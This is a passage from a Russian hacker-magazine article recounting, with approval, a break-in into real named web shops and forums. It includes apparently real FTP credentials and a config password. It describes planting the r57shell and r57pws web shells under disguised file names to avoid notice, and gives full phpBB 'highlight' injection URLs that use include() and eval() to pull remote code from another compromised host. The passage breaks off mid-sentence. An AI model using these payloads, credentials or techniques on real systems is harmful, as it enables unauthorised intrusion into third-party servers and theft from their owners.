Куда уходят Аси

Маг (wapp.ru, icq 878477)

Хакер, номер #087, стр. 087-098-2

Пробуем залогиниться с полученным паролем на фтп:

Хост systemfond.ru

Юзер sysfond

Пароль sfosttmax700

Неудивительно, что пароль подошел, обычно админы таких сайтов крайне беспечны :). Далее, для удобства, заливаем r57shell под именем systemfond.ru/n260903-2.phtml, чтобы не палиться преждевременно (файлов с такими именами там много, видать, новости сайта). Начинаем исследовать сервер. Прежде всего смотрим /etc/passwd, узнаем с помощью банальной эрудиции имя юзера для uinshop.com (uinshop) и пробуем вломиться в /home/uinshop/public_html/.

У нас получилось :). Скажу сразу, что ничего интересного на сайте не было, так как действуют они через сторонний сервис digiseller.ru. Паролей, к сожалению, тоже не удалось достать, а жаль, так как они могли подойти к аккаунту магазина на дигиселлере. Что ж, еще не все потеряно, идем дальше.

[nomerkov.net — удачный поход]

По аналогии с предыдущим магазином ищем с помощью domainsdb.net phpBB форум на сервере, на котором хостится наш магазин. Сегодня удачный день :). Практически первый же попавшийся форум на сайте di-site.com оказывается уязвимым к баге в highlight-параметре! Только толку от нее оказалось мало. Был включен php safe-mode. Многие стандартные php-функции были недоступны. Но я нашел выход :). Я написал миниатюрный файл-менеджер с функциями шелла, специально предназначенный для работы в инклуде. Его код, естественно, можно найти на врезке или скачать на wapp.ru/dir.txt. Далее заливаем его на полученный ранее ftp-аккаунт systemfond.ru, опять же, чтобы не палиться. Выполняем следующий запрос:

www.di-site.com/forum/viewtopic.php?p=2&highlight=%2527.include($_GET[bb]).%2527&bb=systemfond.ru/dir.txt

И получаем такую вот ошибку:

Unknown(systemfond.ru/dir.txt)\b#i): failed to open stream: HTTP request failed!

Я долго гадал, почему это не сработало, но так и не понял. Видимо, какие-то экзотические настройки php. Но в результате экспериментов наш файл все же получилось заинклудить с помощью функции eval(), параметр которой выполняется, как php-код. Выполняем запрос:

www.di-site.com/forum/viewtopic.php?p=2&highlight=%2527.eval($_GET[bb]).%2527&bb=include($_GET[aa]);&aa=systemfond.ru/dir.txt

Есть! Все директории и файлы как на ладони! Итак, смотрим config.php, проверяем полученный пароль (retusha) на фтп! Пароль, естественно, подходит :). Теперь нужно залить веб-шелл, чтобы изучить сервер. Так как включен safe-mode для php, обычный r57shell нам не подойдет, так как слишком мало возможностей для изучения сервера. Недолго думая, заливаем в ./public_html/cgi-bin r57pws - веб-шелл, написанный на perl (респект rst team!) и выставляем ему права 0755, чтобы он мог выполняться. Идем по адресу: di-site.com/cgi-bin/r57pws.cgi, вводим пароль "r57" и смотрим /etc/passwd. Нужный нам юзер угадывается сразу - nomerkov14. Пытаемся пройти в его папку, как в первом случае:

/home/nomerkov14/domains/nomerkov.net/public_html/

Ничего не вышло :(. Продолжаем дальше изучать сервер. Ага, в /usr/local/www видим диру directadmin :). Логинимся в da под нашим юзером